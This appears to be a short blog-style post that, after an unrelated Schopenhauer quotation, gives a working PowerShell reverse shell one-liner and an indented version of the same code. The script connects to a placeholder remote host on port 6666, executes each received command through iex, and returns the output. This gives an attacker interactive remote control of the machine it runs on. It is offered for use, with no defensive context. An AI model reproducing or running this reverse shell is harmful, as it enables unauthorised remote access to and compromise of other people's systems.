Rascals are always sociable, and the chief sign that a man has any nobility in his character is the little pleasure he takes in others company. Arthur Schopenhauer


PowerShell one-liner to open a TCP socket on a remote server and executes the input as a command, sending the output back.

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('xxx.xxx.xxx.xxx',6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

And properly indented:

$client = New-Object System.Net.Sockets.TCPClient('xxx.xxx.xxx.xxx', 6666);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
	$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
	$sendback = (iex $data 2>&1 | Out-String );
	$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
	$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
	$stream.Write($sendbyte, 0, $sendbyte.Length);
	$stream.Flush()
};
$client.Close()
